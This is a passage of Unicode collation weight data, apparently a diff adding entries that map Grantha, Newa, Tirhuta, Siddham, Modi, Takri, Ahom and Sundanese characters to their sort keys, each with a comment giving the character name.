+1135E ; [.2B26.0020.0002] # GRANTHA LETTER VEDIC ANUSVARA
+1135F ; [.2B27.0020.0002] # GRANTHA LETTER VEDIC DOUBLE ANUSVARA
+1133E ; [.2B28.0020.0002] # GRANTHA VOWEL SIGN AA
+1133F ; [.2B29.0020.0002] # GRANTHA VOWEL SIGN I
+11340 ; [.2B2A.0020.0002] # GRANTHA VOWEL SIGN II
+11341 ; [.2B2B.0020.0002] # GRANTHA VOWEL SIGN U
+11342 ; [.2B2C.0020.0002] # GRANTHA VOWEL SIGN UU
+11343 ; [.2B2D.0020.0002] # GRANTHA VOWEL SIGN VOCALIC R
+11344 ; [.2B2E.0020.0002] # GRANTHA VOWEL SIGN VOCALIC RR
+11362 ; [.2B2F.0020.0002] # GRANTHA VOWEL SIGN VOCALIC L
+11363 ; [.2B30.0020.0002] # GRANTHA VOWEL SIGN VOCALIC LL
+11347 ; [.2B31.0020.0002] # GRANTHA VOWEL SIGN EE
+11348 ; [.2B32.0020.0002] # GRANTHA VOWEL SIGN AI
+1134B ; [.2B33.0020.0002] # GRANTHA VOWEL SIGN OO
+11347 1133E ; [.2B33.0020.0002] # GRANTHA VOWEL SIGN OO
+1134C ; [.2B34.0020.0002] # GRANTHA VOWEL SIGN AU
+11347 11357 ; [.2B34.0020.0002] # GRANTHA VOWEL SIGN AU
+1134D ; [.2B35.0020.0002] # GRANTHA SIGN VIRAMA
+11357 ; [.2B36.0020.0002] # GRANTHA AU LENGTH MARK
+1135D ; [.2B37.0020.0002] # GRANTHA SIGN PLUTA
+11449 ; [.2B38.0020.0002] # NEWA OM
+1144A ; [.2B39.0020.0002] # NEWA SIDDHI
+11400 ; [.2B3A.0020.0002] # NEWA LETTER A
+11401 ; [.2B3B.0020.0002] # NEWA LETTER AA
+11402 ; [.2B3C.0020.0002] # NEWA LETTER I
+11403 ; [.2B3D.0020.0002] # NEWA LETTER II
+11404 ; [.2B3E.0020.0002] # NEWA LETTER U
+11405 ; [.2B3F.0020.0002] # NEWA LETTER UU
+11406 ; [.2B40.0020.0002] # NEWA LETTER VOCALIC R
+11407 ; [.2B41.0020.0002] # NEWA LETTER VOCALIC RR
+11408 ; [.2B42.0020.0002] # NEWA LETTER VOCALIC L
+11409 ; [.2B43.0020.0002] # NEWA LETTER VOCALIC LL
+1140A ; [.2B44.0020.0002] # NEWA LETTER E
+1140B ; [.2B45.0020.0002] # NEWA LETTER AI
+1140C ; [.2B46.0020.0002] # NEWA LETTER O
+1140D ; [.2B47.0020.0002] # NEWA LETTER AU
+1140E ; [.2B48.0020.0002] # NEWA LETTER KA
+1140F ; [.2B49.0020.0002] # NEWA LETTER KHA
+11410 ; [.2B4A.0020.0002] # NEWA LETTER GA
+11411 ; [.2B4B.0020.0002] # NEWA LETTER GHA
+11412 ; [.2B4C.0020.0002] # NEWA LETTER NGA
+11413 ; [.2B4D.0020.0002] # NEWA LETTER NGHA
+11414 ; [.2B4E.0020.0002] # NEWA LETTER CA
+11415 ; [.2B4F.0020.0002] # NEWA LETTER CHA
+11416 ; [.2B50.0020.0002] # NEWA LETTER JA
+11417 ; [.2B51.0020.0002] # NEWA LETTER JHA
+11418 ; [.2B52.0020.0002] # NEWA LETTER NYA
+11419 ; [.2B53.0020.0002] # NEWA LETTER NYHA
+1141A ; [.2B54.0020.0002] # NEWA LETTER TTA
+1141B ; [.2B55.0020.0002] # NEWA LETTER TTHA
+1141C ; [.2B56.0020.0002] # NEWA LETTER DDA
+1141D ; [.2B57.0020.0002] # NEWA LETTER DDHA
+1141E ; [.2B58.0020.0002] # NEWA LETTER NNA
+1141F ; [.2B59.0020.0002] # NEWA LETTER TA
+11420 ; [.2B5A.0020.0002] # NEWA LETTER THA
+11421 ; [.2B5B.0020.0002] # NEWA LETTER DA
+11422 ; [.2B5C.0020.0002] # NEWA LETTER DHA
+11423 ; [.2B5D.0020.0002] # NEWA LETTER NA
+11424 ; [.2B5E.0020.0002] # NEWA LETTER NHA
+11425 ; [.2B5F.0020.0002] # NEWA LETTER PA
+11426 ; [.2B60.0020.0002] # NEWA LETTER PHA
+11427 ; [.2B61.0020.0002] # NEWA LETTER BA
+11428 ; [.2B62.0020.0002] # NEWA LETTER BHA
+11429 ; [.2B63.0020.0002] # NEWA LETTER MA
+1142A ; [.2B64.0020.0002] # NEWA LETTER MHA
+1142B ; [.2B65.0020.0002] # NEWA LETTER YA
+1142C ; [.2B66.0020.0002] # NEWA LETTER RA
+1142D ; [.2B67.0020.0002] # NEWA LETTER RHA
+1142E ; [.2B68.0020.0002] # NEWA LETTER LA
+1142F ; [.2B69.0020.0002] # NEWA LETTER LHA
+11430 ; [.2B6A.0020.0002] # NEWA LETTER WA
+11431 ; [.2B6B.0020.0002] # NEWA LETTER SHA
+11432 ; [.2B6C.0020.0002] # NEWA LETTER SSA
+11433 ; [.2B6D.0020.0002] # NEWA LETTER SA
+11434 ; [.2B6E.0020.0002] # NEWA LETTER HA
+11447 ; [.2B6F.0020.0002] # NEWA SIGN AVAGRAHA
+11448 ; [.2B70.0020.0002] # NEWA SIGN FINAL ANUSVARA
+11435 ; [.2B71.0020.0002] # NEWA VOWEL SIGN AA
+11436 ; [.2B72.0020.0002] # NEWA VOWEL SIGN I
+11437 ; [.2B73.0020.0002] # NEWA VOWEL SIGN II
+11438 ; [.2B74.0020.0002] # NEWA VOWEL SIGN U
+11439 ; [.2B75.0020.0002] # NEWA VOWEL SIGN UU
+1143A ; [.2B76.0020.0002] # NEWA VOWEL SIGN VOCALIC R
+1143B ; [.2B77.0020.0002] # NEWA VOWEL SIGN VOCALIC RR
+1143C ; [.2B78.0020.0002] # NEWA VOWEL SIGN VOCALIC L
+1143D ; [.2B79.0020.0002] # NEWA VOWEL SIGN VOCALIC LL
+1143E ; [.2B7A.0020.0002] # NEWA VOWEL SIGN E
+1143F ; [.2B7B.0020.0002] # NEWA VOWEL SIGN AI
+11440 ; [.2B7C.0020.0002] # NEWA VOWEL SIGN O
+11441 ; [.2B7D.0020.0002] # NEWA VOWEL SIGN AU
+11442 ; [.2B7E.0020.0002] # NEWA SIGN VIRAMA
+114C7 ; [.2B7F.0020.0002] # TIRHUTA OM
+11480 ; [.2B80.0020.0002] # TIRHUTA ANJI
+11481 ; [.2B81.0020.0002] # TIRHUTA LETTER A
+11482 ; [.2B82.0020.0002] # TIRHUTA LETTER AA
+11483 ; [.2B83.0020.0002] # TIRHUTA LETTER I
+11484 ; [.2B84.0020.0002] # TIRHUTA LETTER II
+11485 ; [.2B85.0020.0002] # TIRHUTA LETTER U
+11486 ; [.2B86.0020.0002] # TIRHUTA LETTER UU
+11487 ; [.2B87.0020.0002] # TIRHUTA LETTER VOCALIC R
+11488 ; [.2B88.0020.0002] # TIRHUTA LETTER VOCALIC RR
+11489 ; [.2B89.0020.0002] # TIRHUTA LETTER VOCALIC L
+1148A ; [.2B8A.0020.0002] # TIRHUTA LETTER VOCALIC LL
+1148B ; [.2B8B.0020.0002] # TIRHUTA LETTER E
+1148C ; [.2B8C.0020.0002] # TIRHUTA LETTER AI
+1148D ; [.2B8D.0020.0002] # TIRHUTA LETTER O
+1148E ; [.2B8E.0020.0002] # TIRHUTA LETTER AU
+1148F ; [.2B8F.0020.0002] # TIRHUTA LETTER KA
+11490 ; [.2B90.0020.0002] # TIRHUTA LETTER KHA
+11491 ; [.2B91.0020.0002] # TIRHUTA LETTER GA
+11492 ; [.2B92.0020.0002] # TIRHUTA LETTER GHA
+11493 ; [.2B93.0020.0002] # TIRHUTA LETTER NGA
+11494 ; [.2B94.0020.0002] # TIRHUTA LETTER CA
+11495 ; [.2B95.0020.0002] # TIRHUTA LETTER CHA
+11496 ; [.2B96.0020.0002] # TIRHUTA LETTER JA
+11497 ; [.2B97.0020.0002] # TIRHUTA LETTER JHA
+11498 ; [.2B98.0020.0002] # TIRHUTA LETTER NYA
+11499 ; [.2B99.0020.0002] # TIRHUTA LETTER TTA
+1149A ; [.2B9A.0020.0002] # TIRHUTA LETTER TTHA
+1149B ; [.2B9B.0020.0002] # TIRHUTA LETTER DDA
+1149C ; [.2B9C.0020.0002] # TIRHUTA LETTER DDHA
+1149D ; [.2B9D.0020.0002] # TIRHUTA LETTER NNA
+1149E ; [.2B9E.0020.0002] # TIRHUTA LETTER TA
+1149F ; [.2B9F.0020.0002] # TIRHUTA LETTER THA
+114A0 ; [.2BA0.0020.0002] # TIRHUTA LETTER DA
+114A1 ; [.2BA1.0020.0002] # TIRHUTA LETTER DHA
+114A2 ; [.2BA2.0020.0002] # TIRHUTA LETTER NA
+114A3 ; [.2BA3.0020.0002] # TIRHUTA LETTER PA
+114A4 ; [.2BA4.0020.0002] # TIRHUTA LETTER PHA
+114A5 ; [.2BA5.0020.0002] # TIRHUTA LETTER BA
+114A6 ; [.2BA6.0020.0002] # TIRHUTA LETTER BHA
+114A7 ; [.2BA7.0020.0002] # TIRHUTA LETTER MA
+114A8 ; [.2BA8.0020.0002] # TIRHUTA LETTER YA
+114A9 ; [.2BA9.0020.0002] # TIRHUTA LETTER RA
+114AA ; [.2BAA.0020.0002] # TIRHUTA LETTER LA
+114AB ; [.2BAB.0020.0002] # TIRHUTA LETTER VA
+114AC ; [.2BAC.0020.0002] # TIRHUTA LETTER SHA
+114AD ; [.2BAD.0020.0002] # TIRHUTA LETTER SSA
+114AE ; [.2BAE.0020.0002] # TIRHUTA LETTER SA
+114AF ; [.2BAF.0020.0002] # TIRHUTA LETTER HA
+114C4 ; [.2BB0.0020.0002] # TIRHUTA SIGN AVAGRAHA
+114C5 ; [.2BB1.0020.0002] # TIRHUTA GVANG
+114B0 ; [.2BB2.0020.0002] # TIRHUTA VOWEL SIGN AA
+114B1 ; [.2BB3.0020.0002] # TIRHUTA VOWEL SIGN I
+114B2 ; [.2BB4.0020.0002] # TIRHUTA VOWEL SIGN II
+114B3 ; [.2BB5.0020.0002] # TIRHUTA VOWEL SIGN U
+114B4 ; [.2BB6.0020.0002] # TIRHUTA VOWEL SIGN UU
+114B5 ; [.2BB7.0020.0002] # TIRHUTA VOWEL SIGN VOCALIC R
+114B6 ; [.2BB8.0020.0002] # TIRHUTA VOWEL SIGN VOCALIC RR
+114B7 ; [.2BB9.0020.0002] # TIRHUTA VOWEL SIGN VOCALIC L
+114B8 ; [.2BBA.0020.0002] # TIRHUTA VOWEL SIGN VOCALIC LL
+114B9 ; [.2BBB.0020.0002] # TIRHUTA VOWEL SIGN E
+114BA ; [.2BBC.0020.0002] # TIRHUTA VOWEL SIGN SHORT E
+114BB ; [.2BBD.0020.0002] # TIRHUTA VOWEL SIGN AI
+114B9 114BA ; [.2BBD.0020.0002] # TIRHUTA VOWEL SIGN AI
+114BC ; [.2BBE.0020.0002] # TIRHUTA VOWEL SIGN O
+114B9 114B0 ; [.2BBE.0020.0002] # TIRHUTA VOWEL SIGN O
+114BD ; [.2BBF.0020.0002] # TIRHUTA VOWEL SIGN SHORT O
+114BE ; [.2BC0.0020.0002] # TIRHUTA VOWEL SIGN AU
+114B9 114BD ; [.2BC0.0020.0002] # TIRHUTA VOWEL SIGN AU
+114C2 ; [.2BC1.0020.0002] # TIRHUTA SIGN VIRAMA
+11580 ; [.2BC2.0020.0002] # SIDDHAM LETTER A
+11581 ; [.2BC3.0020.0002] # SIDDHAM LETTER AA
+11582 ; [.2BC4.0020.0002] # SIDDHAM LETTER I
+115D8 ; [.2BC4.0020.0004][.0000.0110.0004] # SIDDHAM LETTER THREE-CIRCLE ALTERNATE I
+115D9 ; [.2BC4.0020.0004][.0000.0111.0004] # SIDDHAM LETTER TWO-CIRCLE ALTERNATE I
+11583 ; [.2BC5.0020.0002] # SIDDHAM LETTER II
+115DA ; [.2BC5.0020.0004][.0000.0110.0004] # SIDDHAM LETTER TWO-CIRCLE ALTERNATE II
+11584 ; [.2BC6.0020.0002] # SIDDHAM LETTER U
+115DB ; [.2BC6.0020.0004][.0000.0110.0004] # SIDDHAM LETTER ALTERNATE U
+11585 ; [.2BC7.0020.0002] # SIDDHAM LETTER UU
+11586 ; [.2BC8.0020.0002] # SIDDHAM LETTER VOCALIC R
+11587 ; [.2BC9.0020.0002] # SIDDHAM LETTER VOCALIC RR
+11588 ; [.2BCA.0020.0002] # SIDDHAM LETTER VOCALIC L
+11589 ; [.2BCB.0020.0002] # SIDDHAM LETTER VOCALIC LL
+1158A ; [.2BCC.0020.0002] # SIDDHAM LETTER E
+1158B ; [.2BCD.0020.0002] # SIDDHAM LETTER AI
+1158C ; [.2BCE.0020.0002] # SIDDHAM LETTER O
+1158D ; [.2BCF.0020.0002] # SIDDHAM LETTER AU
+1158E ; [.2BD0.0020.0002] # SIDDHAM LETTER KA
+1158F ; [.2BD1.0020.0002] # SIDDHAM LETTER KHA
+11590 ; [.2BD2.0020.0002] # SIDDHAM LETTER GA
+11591 ; [.2BD3.0020.0002] # SIDDHAM LETTER GHA
+11592 ; [.2BD4.0020.0002] # SIDDHAM LETTER NGA
+11593 ; [.2BD5.0020.0002] # SIDDHAM LETTER CA
+11594 ; [.2BD6.0020.0002] # SIDDHAM LETTER CHA
+11595 ; [.2BD7.0020.0002] # SIDDHAM LETTER JA
+11596 ; [.2BD8.0020.0002] # SIDDHAM LETTER JHA
+11597 ; [.2BD9.0020.0002] # SIDDHAM LETTER NYA
+11598 ; [.2BDA.0020.0002] # SIDDHAM LETTER TTA
+11599 ; [.2BDB.0020.0002] # SIDDHAM LETTER TTHA
+1159A ; [.2BDC.0020.0002] # SIDDHAM LETTER DDA
+1159B ; [.2BDD.0020.0002] # SIDDHAM LETTER DDHA
+1159C ; [.2BDE.0020.0002] # SIDDHAM LETTER NNA
+1159D ; [.2BDF.0020.0002] # SIDDHAM LETTER TA
+1159E ; [.2BE0.0020.0002] # SIDDHAM LETTER THA
+1159F ; [.2BE1.0020.0002] # SIDDHAM LETTER DA
+115A0 ; [.2BE2.0020.0002] # SIDDHAM LETTER DHA
+115A1 ; [.2BE3.0020.0002] # SIDDHAM LETTER NA
+115A2 ; [.2BE4.0020.0002] # SIDDHAM LETTER PA
+115A3 ; [.2BE5.0020.0002] # SIDDHAM LETTER PHA
+115A4 ; [.2BE6.0020.0002] # SIDDHAM LETTER BA
+115A5 ; [.2BE7.0020.0002] # SIDDHAM LETTER BHA
+115A6 ; [.2BE8.0020.0002] # SIDDHAM LETTER MA
+115A7 ; [.2BE9.0020.0002] # SIDDHAM LETTER YA
+115A8 ; [.2BEA.0020.0002] # SIDDHAM LETTER RA
+115A9 ; [.2BEB.0020.0002] # SIDDHAM LETTER LA
+115AA ; [.2BEC.0020.0002] # SIDDHAM LETTER VA
+115AB ; [.2BED.0020.0002] # SIDDHAM LETTER SHA
+115AC ; [.2BEE.0020.0002] # SIDDHAM LETTER SSA
+115AD ; [.2BEF.0020.0002] # SIDDHAM LETTER SA
+115AE ; [.2BF0.0020.0002] # SIDDHAM LETTER HA
+115AF ; [.2BF1.0020.0002] # SIDDHAM VOWEL SIGN AA
+115B0 ; [.2BF2.0020.0002] # SIDDHAM VOWEL SIGN I
+115B1 ; [.2BF3.0020.0002] # SIDDHAM VOWEL SIGN II
+115B2 ; [.2BF4.0020.0002] # SIDDHAM VOWEL SIGN U
+115DC ; [.2BF4.0020.0004][.0000.0110.0004] # SIDDHAM VOWEL SIGN ALTERNATE U
+115B3 ; [.2BF5.0020.0002] # SIDDHAM VOWEL SIGN UU
+115DD ; [.2BF5.0020.0004][.0000.0110.0004] # SIDDHAM VOWEL SIGN ALTERNATE UU
+115B4 ; [.2BF6.0020.0002] # SIDDHAM VOWEL SIGN VOCALIC R
+115B5 ; [.2BF7.0020.0002] # SIDDHAM VOWEL SIGN VOCALIC RR
+115B8 ; [.2BF8.0020.0002] # SIDDHAM VOWEL SIGN E
+115B9 ; [.2BF9.0020.0002] # SIDDHAM VOWEL SIGN AI
+115BA ; [.2BFA.0020.0002] # SIDDHAM VOWEL SIGN O
+115B8 115AF ; [.2BFA.0020.0002] # SIDDHAM VOWEL SIGN O
+115BB ; [.2BFB.0020.0002] # SIDDHAM VOWEL SIGN AU
+115B9 115AF ; [.2BFB.0020.0002] # SIDDHAM VOWEL SIGN AU
+115BF ; [.2BFC.0020.0002] # SIDDHAM SIGN VIRAMA
+11600 ; [.2BFD.0020.0002] # MODI LETTER A
+11601 ; [.2BFE.0020.0002] # MODI LETTER AA
+11602 ; [.2BFF.0020.0002] # MODI LETTER I
+11603 ; [.2C00.0020.0002] # MODI LETTER II
+11604 ; [.2C01.0020.0002] # MODI LETTER U
+11605 ; [.2C02.0020.0002] # MODI LETTER UU
+11606 ; [.2C03.0020.0002] # MODI LETTER VOCALIC R
+11607 ; [.2C04.0020.0002] # MODI LETTER VOCALIC RR
+11608 ; [.2C05.0020.0002] # MODI LETTER VOCALIC L
+11609 ; [.2C06.0020.0002] # MODI LETTER VOCALIC LL
+1160A ; [.2C07.0020.0002] # MODI LETTER E
+1160B ; [.2C08.0020.0002] # MODI LETTER AI
+1160C ; [.2C09.0020.0002] # MODI LETTER O
+1160D ; [.2C0A.0020.0002] # MODI LETTER AU
+1160E ; [.2C0B.0020.0002] # MODI LETTER KA
+1160F ; [.2C0C.0020.0002] # MODI LETTER KHA
+11610 ; [.2C0D.0020.0002] # MODI LETTER GA
+11611 ; [.2C0E.0020.0002] # MODI LETTER GHA
+11612 ; [.2C0F.0020.0002] # MODI LETTER NGA
+11613 ; [.2C10.0020.0002] # MODI LETTER CA
+11614 ; [.2C11.0020.0002] # MODI LETTER CHA
+11615 ; [.2C12.0020.0002] # MODI LETTER JA
+11616 ; [.2C13.0020.0002] # MODI LETTER JHA
+11617 ; [.2C14.0020.0002] # MODI LETTER NYA
+11618 ; [.2C15.0020.0002] # MODI LETTER TTA
+11619 ; [.2C16.0020.0002] # MODI LETTER TTHA
+1161A ; [.2C17.0020.0002] # MODI LETTER DDA
+1161B ; [.2C18.0020.0002] # MODI LETTER DDHA
+1161C ; [.2C19.0020.0002] # MODI LETTER NNA
+1161D ; [.2C1A.0020.0002] # MODI LETTER TA
+1161E ; [.2C1B.0020.0002] # MODI LETTER THA
+1161F ; [.2C1C.0020.0002] # MODI LETTER DA
+11620 ; [.2C1D.0020.0002] # MODI LETTER DHA
+11621 ; [.2C1E.0020.0002] # MODI LETTER NA
+11622 ; [.2C1F.0020.0002] # MODI LETTER PA
+11623 ; [.2C20.0020.0002] # MODI LETTER PHA
+11624 ; [.2C21.0020.0002] # MODI LETTER BA
+11625 ; [.2C22.0020.0002] # MODI LETTER BHA
+11626 ; [.2C23.0020.0002] # MODI LETTER MA
+11627 ; [.2C24.0020.0002] # MODI LETTER YA
+11628 ; [.2C25.0020.0002] # MODI LETTER RA
+11629 ; [.2C26.0020.0002] # MODI LETTER LA
+1162A ; [.2C27.0020.0002] # MODI LETTER VA
+1162B ; [.2C28.0020.0002] # MODI LETTER SHA
+1162C ; [.2C29.0020.0002] # MODI LETTER SSA
+1162D ; [.2C2A.0020.0002] # MODI LETTER SA
+1162E ; [.2C2B.0020.0002] # MODI LETTER HA
+1162F ; [.2C2C.0020.0002] # MODI LETTER LLA
+11630 ; [.2C2D.0020.0002] # MODI VOWEL SIGN AA
+11631 ; [.2C2E.0020.0002] # MODI VOWEL SIGN I
+11632 ; [.2C2F.0020.0002] # MODI VOWEL SIGN II
+11633 ; [.2C30.0020.0002] # MODI VOWEL SIGN U
+11634 ; [.2C31.0020.0002] # MODI VOWEL SIGN UU
+11635 ; [.2C32.0020.0002] # MODI VOWEL SIGN VOCALIC R
+11636 ; [.2C33.0020.0002] # MODI VOWEL SIGN VOCALIC RR
+11637 ; [.2C34.0020.0002] # MODI VOWEL SIGN VOCALIC L
+11638 ; [.2C35.0020.0002] # MODI VOWEL SIGN VOCALIC LL
+11639 ; [.2C36.0020.0002] # MODI VOWEL SIGN E
+1163A ; [.2C37.0020.0002] # MODI VOWEL SIGN AI
+1163B ; [.2C38.0020.0002] # MODI VOWEL SIGN O
+1163C ; [.2C39.0020.0002] # MODI VOWEL SIGN AU
+1163F ; [.2C3A.0020.0002] # MODI SIGN VIRAMA
+11644 ; [.2C3B.0020.0002] # MODI SIGN HUVA
+11680 ; [.2C3C.0020.0002] # TAKRI LETTER A
+11681 ; [.2C3D.0020.0002] # TAKRI LETTER AA
+11682 ; [.2C3E.0020.0002] # TAKRI LETTER I
+11683 ; [.2C3F.0020.0002] # TAKRI LETTER II
+11684 ; [.2C40.0020.0002] # TAKRI LETTER U
+11685 ; [.2C41.0020.0002] # TAKRI LETTER UU
+11686 ; [.2C42.0020.0002] # TAKRI LETTER E
+11687 ; [.2C43.0020.0002] # TAKRI LETTER AI
+11688 ; [.2C44.0020.0002] # TAKRI LETTER O
+11689 ; [.2C45.0020.0002] # TAKRI LETTER AU
+116A8 ; [.2C46.0020.0002] # TAKRI LETTER SA
+116A7 ; [.2C47.0020.0002] # TAKRI LETTER SHA
+116A9 ; [.2C48.0020.0002] # TAKRI LETTER HA
+1168A ; [.2C49.0020.0002] # TAKRI LETTER KA
+1168B ; [.2C4A.0020.0002] # TAKRI LETTER KHA
+1168C ; [.2C4B.0020.0002] # TAKRI LETTER GA
+1168D ; [.2C4C.0020.0002] # TAKRI LETTER GHA
+1168E ; [.2C4D.0020.0002] # TAKRI LETTER NGA
+1168F ; [.2C4E.0020.0002] # TAKRI LETTER CA
+11690 ; [.2C4F.0020.0002] # TAKRI LETTER CHA
+11691 ; [.2C50.0020.0002] # TAKRI LETTER JA
+11692 ; [.2C51.0020.0002] # TAKRI LETTER JHA
+11693 ; [.2C52.0020.0002] # TAKRI LETTER NYA
+11694 ; [.2C53.0020.0002] # TAKRI LETTER TTA
+11695 ; [.2C54.0020.0002] # TAKRI LETTER TTHA
+11696 ; [.2C55.0020.0002] # TAKRI LETTER DDA
+11697 ; [.2C56.0020.0002] # TAKRI LETTER DDHA
+11698 ; [.2C57.0020.0002] # TAKRI LETTER NNA
+11699 ; [.2C58.0020.0002] # TAKRI LETTER TA
+1169A ; [.2C59.0020.0002] # TAKRI LETTER THA
+1169B ; [.2C5A.0020.0002] # TAKRI LETTER DA
+1169C ; [.2C5B.0020.0002] # TAKRI LETTER DHA
+1169D ; [.2C5C.0020.0002] # TAKRI LETTER NA
+1169E ; [.2C5D.0020.0002] # TAKRI LETTER PA
+1169F ; [.2C5E.0020.0002] # TAKRI LETTER PHA
+116A0 ; [.2C5F.0020.0002] # TAKRI LETTER BA
+116A1 ; [.2C60.0020.0002] # TAKRI LETTER BHA
+116A2 ; [.2C61.0020.0002] # TAKRI LETTER MA
+116A3 ; [.2C62.0020.0002] # TAKRI LETTER YA
+116A4 ; [.2C63.0020.0002] # TAKRI LETTER RA
+116A5 ; [.2C64.0020.0002] # TAKRI LETTER LA
+116A6 ; [.2C65.0020.0002] # TAKRI LETTER VA
+116AA ; [.2C66.0020.0002] # TAKRI LETTER RRA
+116AD ; [.2C67.0020.0002] # TAKRI VOWEL SIGN AA
+116AE ; [.2C68.0020.0002] # TAKRI VOWEL SIGN I
+116AF ; [.2C69.0020.0002] # TAKRI VOWEL SIGN II
+116B0 ; [.2C6A.0020.0002] # TAKRI VOWEL SIGN U
+116B1 ; [.2C6B.0020.0002] # TAKRI VOWEL SIGN UU
+116B2 ; [.2C6C.0020.0002] # TAKRI VOWEL SIGN E
+116B3 ; [.2C6D.0020.0002] # TAKRI VOWEL SIGN AI
+116B4 ; [.2C6E.0020.0002] # TAKRI VOWEL SIGN O
+116B5 ; [.2C6F.0020.0002] # TAKRI VOWEL SIGN AU
+116B6 ; [.2C70.0020.0002] # TAKRI SIGN VIRAMA
+11700 ; [.2C71.0020.0002] # AHOM LETTER KA
+11701 ; [.2C72.0020.0002] # AHOM LETTER KHA
+11702 ; [.2C73.0020.0002] # AHOM LETTER NGA
+11703 ; [.2C74.0020.0002] # AHOM LETTER NA
+11704 ; [.2C75.0020.0002] # AHOM LETTER TA
+11705 ; [.2C75.0020.0004][.0000.0110.0004] # AHOM LETTER ALTERNATE TA
+11706 ; [.2C76.0020.0002] # AHOM LETTER PA
+11707 ; [.2C77.0020.0002] # AHOM LETTER PHA
+11708 ; [.2C78.0020.0002] # AHOM LETTER BA
+11709 ; [.2C79.0020.0002] # AHOM LETTER MA
+1170A ; [.2C7A.0020.0002] # AHOM LETTER JA
+1170B ; [.2C7B.0020.0002] # AHOM LETTER CHA
+1170C ; [.2C7C.0020.0002] # AHOM LETTER THA
+1170D ; [.2C7D.0020.0002] # AHOM LETTER RA
+1170E ; [.2C7E.0020.0002] # AHOM LETTER LA
+1170F ; [.2C7F.0020.0002] # AHOM LETTER SA
+11710 ; [.2C80.0020.0002] # AHOM LETTER NYA
+11711 ; [.2C81.0020.0002] # AHOM LETTER HA
+11712 ; [.2C82.0020.0002] # AHOM LETTER A
+11713 ; [.2C83.0020.0002] # AHOM LETTER DA
+11714 ; [.2C84.0020.0002] # AHOM LETTER DHA
+11715 ; [.2C85.0020.0002] # AHOM LETTER GA
+11716 ; [.2C85.0020.0004][.0000.0110.0004] # AHOM LETTER ALTERNATE GA
+11717 ; [.2C86.0020.0002] # AHOM LETTER GHA
+11718 ; [.2C87.0020.0002] # AHOM LETTER BHA
+11719 ; [.2C88.0020.0002] # AHOM LETTER JHA
+11720 ; [.2C89.0020.0002] # AHOM VOWEL SIGN A
+11721 ; [.2C8A.0020.0002] # AHOM VOWEL SIGN AA
+11722 ; [.2C8B.0020.0002] # AHOM VOWEL SIGN I
+11723 ; [.2C8C.0020.0002] # AHOM VOWEL SIGN II
+11724 ; [.2C8D.0020.0002] # AHOM VOWEL SIGN U
+11725 ; [.2C8E.0020.0002] # AHOM VOWEL SIGN UU
+11726 ; [.2C8F.0020.0002] # AHOM VOWEL SIGN E
+11727 ; [.2C90.0020.0002] # AHOM VOWEL SIGN AW
+11728 ; [.2C91.0020.0002] # AHOM VOWEL SIGN O
+11729 ; [.2C92.0020.0002] # AHOM VOWEL SIGN AI
+1172A ; [.2C93.0020.0002] # AHOM VOWEL SIGN AM
+1172B ; [.2C94.0020.0002] # AHOM SIGN KILLER
+1171D ; [.2C95.0020.0002] # AHOM CONSONANT SIGN MEDIAL LA
+1171E ; [.2C96.0020.0002] # AHOM CONSONANT SIGN MEDIAL RA
+1171F ; [.2C97.0020.0002] # AHOM CONSONANT SIGN MEDIAL LIGATING RA
+1B83  ; [.2C98.0020.0002] # SUNDANESE LETTER A
+1BBA  ; [.2C98.0020.0004] # SUNDANESE AVAGRAHA
+1B84  ; [.2C99.0020.0002] # SUNDANESE LETTER I
+1B85  ; [.2C9A.0020.0002] # SUNDANESE LETTER U
+1B86  ; [.2C9B.0020.0002] # SUNDANESE LETTER AE
+1B87  ; [.2C9C.0020.0002] # SUNDANESE LETTER O
+1B88  ; [.2C9D.0020.0002] # SUNDANESE LETTER E
+1B89  ; [.2C9E.0020.0002] # SUNDANESE LETTER EU
+1B8A  ; [.2C9F.0020.0002] # SUNDANESE LETTER KA
+1BBE  ; [.2C9F.0020.0019] # SUNDANESE LETTER FINAL K
+1BAE  ; [.2CA0.0020.0002] # SUNDANESE LETTER KHA
+1B8B  ; [.2CA1.0020.0002] # SUNDANESE LETTER QA
+1B8C  ; [.2CA2.0020.0002] # SUNDANESE LETTER GA
+1B8D  ; [.2CA3.0020.0002] # SUNDANESE LETTER NGA
+1B8E  ; [.2CA4.0020.0002] # SUNDANESE LETTER CA
+1B8F  ; [.2CA5.0020.0002] # SUNDANESE LETTER JA
+1B90  ; [.2CA6.0020.0002] # SUNDANESE LETTER ZA
+1B91  ; [.2CA7.0020.0002] # SUNDANESE LETTER NYA
+1B92  ; [.2CA8.0020.0002] # SUNDANESE LETTER TA
+1B93  ; [.2CA9.0020.0002] # SUNDANESE LETTER DA
+1B94  ; [.2CAA.0020.0002] # SUNDANESE LETTER NA
+1B95  ; [.2CAB.0020.0002] # SUNDANESE LETTER PA
+1B96  ; [.2CAC.0020.0002] # SUNDANESE LETTER FA
+1B97  ; [.2CAD.0020.0002] # SUNDANESE LETTER VA
+1B98  ; [.2CAE.0020.0002] # SUNDANESE LETTER BA
+1BBD  ; [.2CAF.0020.0002] # SUNDANESE LETTER BHA
+1B99  ; [.2CB0.0020.0002] # SUNDANESE LETTER MA
+1BBF  ; [.2CB0.0020.0019] # SUNDANESE LETTER FINAL M
+1BAC  ; [.2CB1.0020.0002] # SUNDANESE CONSONANT SIGN PASANGAN MA
+1B9A  ; [.2CB2.0020.0002] # SUNDANESE LETTER YA
+1BA1  ; [.2CB3.0020.0002] # SUNDANESE CONSONANT SIGN PAMINGKAL
+1B9B  ; [.2CB4.0020.0002] # SUNDANESE LETTER RA
+1BA2  ; [.2CB5.0020.0002] # SUNDANESE CONSONANT SIGN PANYAKRA
+1BBB  ; [.2CB6.0020.0002] # SUNDANESE LETTER REU
+1B9C  ; [.2CB7.0020.0002] # SUNDANESE LETTER LA
+1BA3  ; [.2CB8.0020.0002] # SUNDANESE CONSONANT SIGN PANYIKU
+1BBC  ; [.2CB9.0020.0002] # SUNDANESE LETTER LEU
+1B9D  ; [.2CBA.0020.0002] # SUNDANESE LETTER WA
+1BAD  ; [.2CBB.0020.0002] # SUNDANESE CONSONANT SIGN PASANGAN WA
+1B9E  ; [.2CBC.0020.0002] # SUNDANESE LETTER SA
+1B9F  ; [.2CBD.0020.0002] # SUNDANESE LETTER XA
+1BAF  ; [.2CBE.0020.0002] # SUNDANESE LETTER SYA
+1BA0  ; [.2CBF.0020.0002] # SUNDANESE LETTER HA
+1BA4  ; [.2CC0.0020.0002] # SUNDANESE VOWEL SIGN PANGHULU
+1BA5  ; [.2CC1.0020.0002] # SUNDANESE VOWEL SIGN PANYUKU
+1BA6  ; [.2CC2.0020.0002] # SUNDANESE VOWEL SIGN PANAELAENG
